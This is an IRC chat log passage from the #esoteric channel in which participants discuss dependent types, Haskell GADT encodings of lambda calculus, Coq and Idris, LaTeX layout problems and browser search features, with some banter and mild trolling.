< 1268079844 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Happy happy joy joy joy < 1268079854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Lam :: (Id a -> LC b) -> LC (a :-> b) was so nice, too. Sigh. < 1268079869 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so you Lam-ent its loss? < 1268079872 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You could even Show it. < 1268079880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Types: < 1268079893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pi (x:T). r < 1268079893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :* < 1268079903 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I don't believe in ZFC, I don't see why I should believe in dependent types. < 1268079903 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in pi, T:* < 1268079911 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1268079921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Values: < 1268079926 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ztheist < 1268079928 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION proves himself
< 1268079947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\(x:T).(e:R) : pi (x:T). R < 1268079968 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise why don't you write it in Coq (type functions!) then extract it to haskell < 1268079972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(f : pi (x:T). r) v : r[x=v] < 1268079976 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you do that it'll be a really sweet hack < 1268079986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: mm maybe < 1268080157 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :use monads ! < 1268080223 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :everything's better with monads! < 1268080258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sem' xs (App f x) = (sem xs f) (sem xs x) < 1268080260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not allowed :( < 1268080267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with < 1268080267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : App :: LC (a –> b) -> LC a -> LC b < 1268080283 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess I need to specifically specify f must be a Lam < 1268080297 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :whats xs? < 1268080298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :how lame < 1268080307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: de bruijn housekeeping < 1268080322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :actually I think it needs to be a function... maybe < 1268080334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wait, no < 1268080362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : against inferred type `[(.) (forall a1) (LC a1)]' < 1268080364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268080365 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(.) < 1268080660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: sem' :: (Id t -> t) -> LC a -> a < 1268080664 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : sem' v (Var i@(Id n :: Id t)) = v i :: t < 1268080666 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why doesn't this work :( < 1268080742 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :something to do with needing to enable a bunch of extensions that should really be the default? < 1268080779 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :already done < 1268080785 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Couldn't match expected type `t' against inferred type `a' < 1268080787 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1268080816 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do sem' :: (Id a -> a) -> LC a -> a :D < 1268080817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1268080818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I just needed < 1268080822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(forall t. Id t -> t) < 1268080823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :to be the type < 1268080825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :duh < 1268080830 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how can that be the right type? < 1268080834 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's Id t? < 1268080839 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh I see < 1268080867 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can you implement (in a pure and safe way) STRefs this way? < 1268081023 0 :alise_!~d4b78c30@gateway/web/freenode/x-rbzcgknfpjshhmqa JOIN :#esoteric < 1268081084 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268081581 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268081647 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :othello is more fun than this < 1268081675 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I assume there's some hyper-monoidal structure for game boards :-P < 1268081892 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Reifying without _|_: < 1268081893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :instance (TNat n) => TNat (S n) where reify _ = 1 + ((reify :: (n -> n) -> Integer) id) < 1268081895 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Clever, huh? < 1268081918 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In fact, you could even have reify :: Dummy n -> Integer where (data Dummy t = Dumb) < 1268081949 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Dummy is basically values indexing on types :P < 1268081985 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, sort of < 1268082822 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Press Ctrl-# to continue! < 1268083032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1268083054 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: is there any dependent language that lets you elide most of the obvious proofs and the like... I feel like I'm writing tons of obvious proofs except in haskell atm :) < 1268083078 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :coq < 1268083151 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: you sure? < 1268083166 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well I am interpreting 'elide' in a special way < 1268083306 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that means "specify"? < 1268083395 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah and prove them < 1268083399 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268083467 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://www.reddit.com/r/dependent_types/comments/baf7g/wtypes_good_news_and_bad_news_laquo_epilogue/ why epigram 2 isn't broken < 1268083473 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i think < 1268083504 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :from the murky depths http://sneezy.cs.nott.ac.uk/darcs/RDTP/2ndmeeting/ctm-3.JPG ... < 1268083641 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: btw I think I understood your thing about induction from the logs < 1268083649 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so what is mu-elim's actual type, I'm curious? < 1268083658 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :admittedly this is the rough kind of understanding, not the deep kind < 1268083700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268083705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the heck is going on < 1268083706 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somehow < 1268083715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :every X process ended up as STOPPed < 1268083728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :killall -CONT seems to have helped *somewhat* < 1268083807 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :except I can't resume that dbus crap < 1268083816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it causes everything else to SIGSTOP again < 1268083821 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Smells like cat food. < 1268083939 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I should really devise a way to isomorph the pure data types with an efficient implementaiton. < 1268083941 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*implementation < 1268083968 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol :D < 1268083996 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268084019 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I once read a PhD thesis were 70% of the ~200 pages was a transcript of a session with an interactive proof system. < 1268084024 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*where < 1268084112 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what the hell is going on < 1268084122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it all started when inkscape crashed < 1268084131 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems that resulted in dbus crashing or something < 1268084152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh nice, gconfd is eating 100% CPU < 1268084319 0 :MigoMipo!unknown@unknown.invalid QUIT : < 1268084351 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION snooze
< 1268084353 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No! Sleep! 'Til Brooklyn! < 1268084379 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Formalised proofs are the future! < 1268084384 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Although a transcript is probably not the best form. < 1268084385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1268084402 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :formal math is so difficult < 1268084424 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but it's different than proving stuff on paper, and it's a bit different than programming too < 1268084434 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's a bit perverse < 1268084444 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Can you say "thesis padding"? < 1268084451 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268084916 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm probably going to try to include a proof checker in the language I'm working on. Not a prover though, that's just way too much work. But a proof checker is pretty simple. < 1268084934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how do you prevent LaTeX from including a date on the title page? < 1268084996 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :proof checker = type checker < 1268085033 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :proof checker is simple? :) < 1268085037 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes that is true < 1268085043 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but it is hard to write proofs :P < 1268085045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric := derivation checker < 1268085070 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Use \date{} -- though it might be suboptimally spaced. < 1268085098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm spacing is important since I don't use a separate title page < 1268085157 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Try it and see. If it's not good, you'll probably have to just do the titles manually; the usual \maketitle is not very customizable. < 1268085170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's possible that it's clever enough to detect and special-case an empty date. < 1268085216 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :someone (fax) gimme the interpretation brackets < 1268085230 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :[[ ]] < 1268085239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :qwrtuc6ybpoi;ytrweaqstr4jy;poin0[;qwo'm[pn;iqw;p0oi[ie3ye3wdrty;piyuhtw2qwqaretshygu,-';juytdrtuh0poesr48#'[p0oiyhtdryk]=' < 1268085242 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: >:| < 1268085246 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268085256 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :hands in the air < 1268085256 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you dirty qwerty user! < 1268085267 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268085413 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268085465 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :coq proofs don't look nearly enough like real mathematical proofs < 1268085467 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imo < 1268085480 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :coq? < 1268085484 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :kazonk; whup f; bop; ligxs < 1268085489 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: Coq. < 1268085493 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Theorem prover, programming language. < 1268085499 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :ooh, okay < 1268085583 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise they shouldn't look like what you find in textbooks < 1268085599 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Trivial example of what I have in mind: http://dpaste.com/169655/ < 1268085620 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, well it has been pointed out by Freek that these proof assistants do look very much like Euclids Elements in style < 1268085630 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but I mean on paper stuff is a different world < 1268085644 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah but it shouldn't be a different world! < 1268085655 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :paper can't compute (yet!) :P < 1268085673 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imo we should all be using dependent formal proofs everywhere < 1268085688 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and with say coq proofs that is .. not practical < 1268085725 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268085730 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :more of your bullshit < 1268085751 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :"dependent formal" < 1268085753 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268085795 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: you can just not listen to me, you know < 1268085850 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but ignoring people is the center that all totaltarianism revolves around! < 1268085860 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Dude, we're still grappling with sophisticated SE concepts like "comments" and "tests" < 1268086048 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I am currently trying to add a feature to a swath of our code that another engineer accurately described as an "accretion" < 1268086077 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would LOVE to be able to prove some simple properties about this code, if only to figure out what the variable names should REALLY be called instead of "ctx" and "data" < 1268086083 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :-D < 1268086130 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But it is written in a mainstream programming language, which means, who KNOWS what the semantics of this code REALLY are? How do you even begin to write a proof when your axioms are based on "well, it's implemented this way, on this os, on this cpu" < 1268086133 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268086183 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Programming is a shithole/ < 1268086185 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*shithole. < 1268086203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gives up on this
< 1268086217 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1268086224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses a -1.5 em vertical spacer and then violently hits LaTeX with it
< 1268086233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that seems to work < 1268086294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is is an extremely hackish way to get two minipages beside each other. One containing a circuit diagram, the other containing values for components in an eqnarray environment < 1268086295 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :We don't even have debuggers that aren't crap. (Where did this value come from? Tell me. No, you can't, can you.) < 1268086310 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, wonderfully hackish in factr < 1268086313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fact* < 1268086429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Indeed. < 1268086443 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I tend to often end up with some negative spaces here and there too, though I always feel I'm doing something wrong. < 1268086445 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Actually you've made me think: perhaps debuggers are isomorphic to proof assistants. < 1268086454 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Except you never get around to proving anything.) < 1268086472 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: They're certainly related. < 1268086481 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's all about tracing. < 1268086561 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You need to visualize the innards to see why the end result is not what you expected. < 1268086590 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION visualize your innards
< 1268086595 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Eww < 1268086610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, actually that wasn't just a negative space. it was a -6 em vertical spacer at the top of a mini page < 1268086620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to "fake" it being at level with the other one < 1268086651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somehow the display style equation in that mini page caused it to fill out the whole page when it came to vertical placement < 1268086761 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Chrome's search feature is a suckfest ... and not the good kind. < 1268086804 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Howso? < 1268086812 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Just type in what you want and press enter. ...Hooray. < 1268086829 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Or if you're going to search for something that looks like a URL, ?poop://lol. < 1268086839 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think there's even a shortcut for Ctrl-L + ? < 1268086841 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nonono, search on a page, its "find" feature < 1268086854 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Whatever you want to call it. < 1268086944 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1268086945 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Why? < 1268086998 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :1) What was wrong with '/' and type? 2) The most common use of find on a page for me is getting to a link to click it. But when I hit 'enter', it goes on to the next effing match, it doesn't click the link >_< < 1268087119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :does it support regex? < 1268087299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: (1) Oh, Ctrl-F, how horrible. (2) Okay. < 1268087308 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No. Because it's meant for people to use. Quickly. < 1268087315 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And I can't even fall back to print statements without pulling my hair out because the values have magical stringification so they throw an exception when I try to print them. < 1268087320 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ctrl is a lot farther from the home row than / is, if searching is common then it's annoying. < 1268087326 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: :-D < 1268087328 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268087338 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But that's a minor issue, it's the no-click thing that annoys me, surely I don't need to tab to the right link ... < 1268087355 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Chrome is a bit mouse-based. There's an extension that lets you do /foo and the like. < 1268087394 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://github.com/philc/vimium < 1268087467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, you know, I quite often use egrep as a quick way to search < 1268087475 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you are not technicaly human though. < 1268087485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, neither are you if you know any regex < 1268087511 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Ctrl is *on* the home row. < 1268087525 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Screw you Unixy Solaris keyboard < 1268087540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, picture < 1268087548 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I just xmodmap'd. < 1268087559 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :axiom interact : Interaction p f t -> World s -> {p s} -> (t, World (f s)) -- this, but with some sort of way to mark the previous world as invalid < 1268087569 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(I'm trying to formulate all IO as one single interaction axiom.) < 1268087571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ah < 1268087577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, to caps lock? < 1268087586 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yeah. < 1268087623 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: Uniqueness type? < 1268087636 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Thanks for complicating up my theory :P < 1268087641 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heheh. < 1268087665 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :basically, (World s) represents a world with conditions s < 1268087684 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Interaction p f t) is an interaction on worlds; p is Conditions -> Prop < 1268087692 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :meaning "is this interaction acceptable under these conditions?" < 1268087705 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :for instance, a read-from-stream interaction would have a p representing that the buffer must be open in the world < 1268087711 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :f is Conditions -> Conditions < 1268087717 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :representing the effect it has on the conditions of the world < 1268087728 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :a close-stream interaction would require that the stream be open in p, and make it closed in f < 1268087735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and t is the type of the result it returns < 1268087750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dependent types would mean that closing an already-closed file would actually be a type error. < 1268087801 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268087811 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :conor mcbride did some sort of thing on this i know < 1268087841 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :and idris < 1268087871 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :heh i'm actualy reading idris stuff now < 1268087875 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268087877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :maybe the issue is World < 1268087908 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dunno < 1268088018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: how does idris do it? < 1268088107 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :theres papers on it < 1268088121 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268088122 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah but i can't find them < 1268088152 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.cs.st-andrews.ac.uk/~eb/drafts/tfp08.pdf < 1268088155 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.cs.st-andrews.ac.uk/~eb/drafts/ngna2009-dsl.pdf < 1268088171 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Make a dependent type system where trying to unserialize a corrupt string is a type error! < 1268088300 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Possible but a bit useless since you have to prove it. < 1268088313 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So you'll basically do if corrupt x then fail else yay (long proof) < 1268088326 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Better to have the serialiser return, say, Maybe DeserialisedType < 1268088341 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Better", sure. < 1268088404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : dependent types would mean that closing an already-closed file would actually be a type error. <-- anything wrong with that? < 1268088406 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Just to confirm. http://www.cs.st-andrews.ac.uk/~eb/drafts/tfp08.pdf is not about interaction, yes? < 1268088413 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I skimmed it and didn't see anything related. < 1268088418 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's a good thing. Duh. < 1268088427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, what I thought < 1268088468 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What about failing to close a file? < 1268088498 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean, from a practical perspective, a single guard on "oops, this file handle is already closed" is nothing. But leaking file descriptors is a real problem. < 1268088548 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Actually, yeah, you could. < 1268088565 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Make interact continuation-y and require that the world yielded by the continuation satisfies another bit of the Interaction. < 1268088566 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, also closing a file could fail < 1268088576 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :open-file would have as its ever-ever-postcondition that the file is closed. < 1268088596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, isn't fclose() in C allowed to fail if data is buffered but there is no space to write it? < 1268088621 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, fclose() can fail. < 1268088634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so, well you could have to propagate some such errors to your high level language < 1268088639 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: i think < 1268088689 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Scylla and Charybdis < 1268088710 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268088740 0 :oklokok!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268088758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Scylla and Charybdis <-- ? < 1268088766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the latter means "ircd software" to me < 1268088781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the one freenode uses nowdays is based on charybdis) < 1268088845 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gogle it. < 1268088848 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Google < 1268088871 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, greek mythology? < 1268088885 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No, the other Scylla and Charybdis. < 1268088937 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, [The phrase "between Scylla and Charybdis" has come to mean being in a state where one is between two dangers and moving away from one will cause you to come closer to the other.]? < 1268088987 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :No, the other Scylla and Charybdis. < 1268089018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I only get idiom and mythology hits on my first two results pages < 1268089032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haven't checked further < 1268089042 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, so what the heck are you talking about < 1268089069 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The other Scylla and Charybdis. < 1268089078 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, there is no such hit for me < 1268089082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so please explain < 1268089087 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The other Scylla and Charybdis. < 1268089130 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay, now you are just trolling < 1268089200 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's not my fault you're an idiot. < 1268089235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for not figuring out you were trolling sooner? perhaps < 1268089259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I had a hard time imaging you were trolling at first. < 1268089261 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For convenience, this function may accept either a string, a list, a 